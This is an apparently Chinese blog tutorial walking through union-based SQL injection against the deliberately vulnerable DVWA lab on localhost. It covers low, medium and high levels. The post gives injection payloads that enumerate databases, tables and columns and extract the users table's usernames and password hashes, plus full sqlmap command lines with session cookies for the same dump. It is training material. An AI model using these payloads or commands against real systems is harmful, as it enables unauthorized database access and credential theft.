zoukankan      html  css  js  c++  java
  • DVWA中SQL回显注入

    一.SQL注入简介

    1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句。

    SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据,或者利用潜在的数据库漏洞进行攻击

    1.2 SQL注入漏洞威胁

      1.猜解后台数据库这是利用最多的方式,盗取网站的敏感信息

    2.绕过认证,列如绕过验证登录网站后台

    3.入可以借助数据库的存储过程进行提权等操作。

    1.3 基础知识

    1.3.1 服务器将提交的参数拼接到要执行的SQL语句中。

    一般首先找到有数据库交互的功能页面(例如:?参数=)

    正常的SQL语句:select name from tablename where name=’admin’ and passwd=’xxxxxxxxxxxxx’

    1.3.2 常用函数:version()  user()  database()

    1.3.3 where 语句

    ... where user_id = 1 or 1 = 1   数字型

    ... where user_id = ‘1’ or ‘1’ = ‘1’   字符型

    ... where user_id = “1” or “1” = “1”

    1.3.4 三种MySQL注释符

        (1) #(忽略)# 后面的数据会被忽略掉;单行注释,注意与url#区分,常编码成%23

        (2)-- (忽略),和#类似;注意是:短线短线空格

        (3)/*(忽略)*/,多行注释;至少有两处输入;/**/注入中常用来作为空格

          

    二.SQL回显注入(数据库的执行结果直接显示在页面上)

    等级 LOW

    1.手工注入

    1我们可以通过以下步骤判断这里是否存在注入点

    输入”1”提交

     

    输入1’”提交 ,会报错

     

    知道这个表单存在注入漏洞

    猜测一下这个SQL语句长啥样?

    Select firstname,sunname from xxx()

    Select firstname,sunname from xxx where userid=我们输入的id

    (2) 确定查询字段数/测试查询信息列数

    1’ order by 1--

    1’ order by 10--

    (3) 确定回显点

    (4) 查数据库名,数据库版本,用户名

    ' union select version(),database()--

     

    ' union select database(),user()--

     

    爆库名   union select 1,schema_name from information_schema.schemata

    (5) 查数据表名

    ' union select 1,table_name from information_schema.tables where table_schema='dvwa'--

     

    (6) 查列/字段名

    ' union select 1,column_name from information_schema.columns where table_name='users'--

     

    (7) 查看字段中的信息

    ' union select user,password from users--

     

    1. 自动注入(sqlmap)

     

    (1)登录状态 --cookie

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6"

    发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。

    (2) 获取数据库和用户名信息

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" --current-user --current-db

     

    (3) 查询数据库中表的信息

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa --tables

     

    (4) 查询表中字段的信息

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users --column

     

    (5) 查字段信息用户名和密码

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users -C"user,password" --dump

     

     

     

    等级:Medium

     

     

     

    1. 自动注入(sqlmap)

     

    Post提供数据使用--data

     

    (1) 查看是否有注入点

     

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=vq40mm0taa1ajcj1mumriq9026"

     

     

     

    发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。

     

    (2) 查看数据库和用户名信息

     

    下面步骤与low等级相同操作

     

    等级:high

     

     

    1. 手工注入

     

    low等级相同

     

    1. 自动注入(sqlmap)

    注入的点和返回的点不在同一个页面

    --second-url:指定返回的页面

    (1)查询注入点

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/"

     

     

     

     

    (3) 有哪些数据库

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --dbs

     

    (4) 有哪些表

     

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" --tables

     

     

     

    (5) 有哪些字段

     

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" --columns

     

     

     

    (6) 字段信息

     

    sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" -C"user,password" --dump

     

     

     

  • 相关阅读:
    int、bigint、smallint 和 tinyint
    我的fedora9安装后配置
    系统引导设置与管理EasyBCD与VistaBootPRO
    从Xml文档内部引用Xml Schema验证
    linux开机顺序
    OS引导-笔记
    Logic Volume笔记
    Service笔记
    python中若类属性与实例属性同名
    解析JavaScript中的null与undefined
  • 原文地址:https://www.cnblogs.com/liqik/p/10485658.html
Copyright © 2011-2022 走看看